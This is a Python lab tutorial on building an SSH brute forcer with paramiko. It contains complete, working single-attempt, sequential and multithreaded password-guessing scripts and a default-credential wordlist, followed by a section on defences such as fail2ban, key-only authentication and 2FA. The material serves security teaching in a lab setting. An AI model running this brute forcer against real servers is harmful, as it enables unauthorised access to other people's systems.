Lab 02 — SSH Brute Forcer


Ethical Hacking with Python

⚠️ This tool must only be used against systems you own or have written permission to test. Brute-forcing SSH without permission is a criminal offence. Use Metasploitable 2 in a local VM, or your own machine with SSH enabled.


What is a Brute Force Attack?

A brute force attack is simple: try many passwords, one after the other, until one works. It succeeds because people choose weak, predictable passwords. Against a server with no protection, a script can try hundreds of passwords per minute — far faster than a human ever could.

SSH (Secure Shell) is the most common way to log into a remote Linux server. It supports password authentication, which makes it a brute force target when users have weak passwords.

Why Use Threads?

Each SSH login attempt takes around 0.5 seconds — mostly waiting for the server to reply. If you try passwords one at a time, 1,000 passwords takes over 8 minutes. With 20 threads running in parallel, the same list takes under 30 seconds, because many attempts happen simultaneously while each one is waiting for a response.

The challenge with threads is that they share memory. If two threads both find the correct password at the same moment, they can both try to write a result at the same time, which causes unpredictable behaviour. This is called a race condition, and you will see how to prevent it.


Setup

Install the paramiko library, which lets Python act as an SSH client:

pip install paramiko

Create a small wordlist to test with:

File: wordlist.txt

root
admin
password
123456
msfadmin
toor
test
guest

If you are using Metasploitable 2, the default credentials are msfadmin:msfadmin — make sure that password is in your list so the scan will succeed.

Exercise 1 — Try a Single Login

Goal: Learn how paramiko works before building the full scanner.

# ssh_probe.py
import paramiko
import logging

# Silence paramiko's noisy internal messages
logging.getLogger("paramiko").setLevel(logging.CRITICAL)

def try_login(host, port, username, password, timeout=3.0):
    client = paramiko.SSHClient()
    # Auto-accept the server's host key (fine for a local lab VM)
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        client.connect(
            host, port=port, username=username, password=password,
            timeout=timeout,
            allow_agent=False,   # Don't use your own SSH keys
            look_for_keys=False  # Only try the password we provide
        )
        return "success"
    except paramiko.AuthenticationException:
        return "failure"   # Wrong password — keep going
    except Exception as e:
        return f"error: {e}"   # Network problem — something went wrong
    finally:
        client.close()   # Always close the connection

host     = input("Host: ").strip()
port     = int(input("Port [22]: ").strip() or "22")
username = input("Username: ").strip()
password = input("Password: ").strip()

result = try_login(host, port, username, password)
print(f"Result: {result}")
python3 ssh_probe.py

Run it twice — once with a correct password, once with a wrong one. Make sure you see success and failure before moving on. If you get error, check that the target IP is reachable and SSH is running.

💡 The allow_agent=False and look_for_keys=False parameters are important. Without them, paramiko might silently use an SSH key from your own ~/.ssh/ folder and report success even with the wrong password — giving you a false result.

Exercise 2 — Sequential Brute Forcer

Goal: Loop through a wordlist and stop as soon as a password works.

# brute_sequential.py
import paramiko
import logging
import time

logging.getLogger("paramiko").setLevel(logging.CRITICAL)

def try_login(host, port, username, password, timeout=3.0):
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        client.connect(host, port=port, username=username, password=password,
                       timeout=timeout, allow_agent=False, look_for_keys=False)
        return "success"
    except paramiko.AuthenticationException:
        return "failure"
    except Exception:
        return "error"
    finally:
        client.close()

host     = input("Host: ").strip()
port     = int(input("Port [22]: ").strip() or "22")
username = input("Username: ").strip()
wordlist = input("Wordlist [wordlist.txt]: ").strip() or "wordlist.txt"

with open(wordlist) as f:
    passwords = [line.strip() for line in f if line.strip()]

print(f"\n[*] Trying {len(passwords)} passwords...\n")
start = time.time()

for i, password in enumerate(passwords, 1):
    print(f"  [{i}/{len(passwords)}] Trying: {password}", end="\r")
    result = try_login(host, port, username, password)

    if result == "success":
        print(f"\n\n[+] FOUND! Password is: {password}")
        print(f"[*] Time: {time.time() - start:.2f}s")
        break
else:
    print(f"\n\n[-] Password not found ({time.time() - start:.2f}s)")
python3 brute_sequential.py

Note how long it takes. Even with a short wordlist, you can feel the delays. That’s SSH’s built-in slowdown — it deliberately resists exactly this kind of attack.

Exercise 3 — Threaded Brute Forcer (Safe Version)

Goal: Run multiple login attempts at the same time using threads, without race conditions.

The safe way to share work across threads uses two tools from Python’s standard library. A queue.Queue distributes passwords to threads one at a time — no two threads ever try the same password. A threading.Event acts as a shared stop signal — when one thread finds the password, it sets the event and all other threads stop.

# brute_threaded.py
import paramiko
import logging
import threading
import queue
import time

logging.getLogger("paramiko").setLevel(logging.CRITICAL)

def try_login(host, port, username, password, timeout=3.0):
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        client.connect(host, port=port, username=username, password=password,
                       timeout=timeout, allow_agent=False, look_for_keys=False)
        return "success"
    except paramiko.AuthenticationException:
        return "failure"
    except Exception:
        return "error"
    finally:
        client.close()

def worker(host, port, username, q, stop_event, lock):
    # Keep grabbing passwords from the queue until it's empty or we're done
    while not stop_event.is_set():
        try:
            password = q.get(block=False)  # Get next password; raises Empty if queue is empty
        except queue.Empty:
            return  # No more passwords — this thread is done

        result = try_login(host, port, username, password)

        if result == "success":
            # Use a lock so only one thread prints the result
            with lock:
                if not stop_event.is_set():  # Make sure we're the first to find it
                    stop_event.set()          # Signal all other threads to stop
                    print(f"\n\n[+] FOUND! Password is: {password}")

host      = input("Host: ").strip()
port      = int(input("Port [22]: ").strip() or "22")
username  = input("Username: ").strip()
wordlist  = input("Wordlist [wordlist.txt]: ").strip() or "wordlist.txt"
n_threads = int(input("Threads [10]: ").strip() or "10")

with open(wordlist) as f:
    passwords = [line.strip() for line in f if line.strip()]

# Fill the queue with all passwords
q = queue.Queue()
for pw in passwords:
    q.put(pw)

stop_event = threading.Event()  # Shared stop signal
lock       = threading.Lock()   # Prevents garbled output from simultaneous prints

print(f"\n[*] Scanning {len(passwords)} passwords with {n_threads} threads...\n")
start = time.time()

threads = [
    threading.Thread(target=worker, args=(host, port, username, q, stop_event, lock), daemon=True)
    for _ in range(n_threads)
]
for t in threads:
    t.start()
for t in threads:
    t.join()

print(f"[*] Done in {time.time() - start:.2f}s")
python3 brute_threaded.py

Compare the time to your sequential run. The difference is significant, and it grows larger the bigger the wordlist is.


How Defenders Stop This

Understanding how to defend against an attack is as important as understanding how to execute it.

1. Fail2ban

fail2ban is a widely-used Linux daemon that monitors log files (like /var/log/auth.log on Ubuntu) for patterns indicating brute-force activity. If it sees 5 failed SSH logins from the same IP within 10 minutes, it automatically adds a firewall rule to block that IP for a configurable duration. This is one of the most effective and low-cost defences against SSH brute forcing.

Your jitter enhancement is specifically designed to operate below typical fail2ban thresholds — not to help real attackers, but so you understand why defenders configure those thresholds and how detection and evasion are in a constant arms race.

2. Public Key Authentication

If an SSH server is configured to disable password authentication entirely and only accept public key authentication, brute forcing becomes computationally impossible. A 2048-bit RSA key has roughly 2^2048 possible values — at one billion guesses per second, the heat death of the universe would arrive first. This is the single most effective SSH hardening measure, and it costs nothing but a few minutes of setup time.

3. Port Knocking

Some administrators move SSH off port 22 entirely (security through obscurity — not sufficient on its own) or use port knocking: the SSH port is firewalled by default, and it only opens temporarily after the client sends a specific sequence of connection attempts to other ports (e.g., knock on ports 7000, then 8000, then 9000 in quick succession). A brute forcer that does not know the knock sequence will never even reach the SSH login prompt.

4. Two-Factor Authentication (2FA)

Even if password authentication is enabled, layering it with TOTP (Time-based One-Time Password, as used by Google Authenticator) means that a correct password alone is insufficient to log in. The attacker would also need the current 30-second code from the target’s physical device — which brute forcing cannot provide.

5. What This Means for You as a Security Professional

When you perform an authorised penetration test and run this tool, a successful brute force does not just mean “I found the password.” It means the client has failed on multiple defensive layers simultaneously: they likely have no fail2ban, have password authentication enabled, have a weak password policy, and have no 2FA. Your report should document all of these failures, not just the credential itself.


Challenge Tasks

Challenge A. After a successful login, use paramikoto run the command whoami on the remote machine and print the output. Hint: look up client.exec_command() in the paramiko documentation.

Reflection Questions

  1. What is the difference between paramiko.AuthenticationException and a generic Exception? Why does it matter that your code handles them separately?
  2. Without threading.Event, how might two threads both claim to have found the correct password at the same time? Walk through the exact sequence of events.
  3. You scan a target with 20 threads, and fail2ban is set to block after 5 failed attempts from the same IP in 60 seconds. Will your scan succeed? Why or why not

By Wahid Hamdi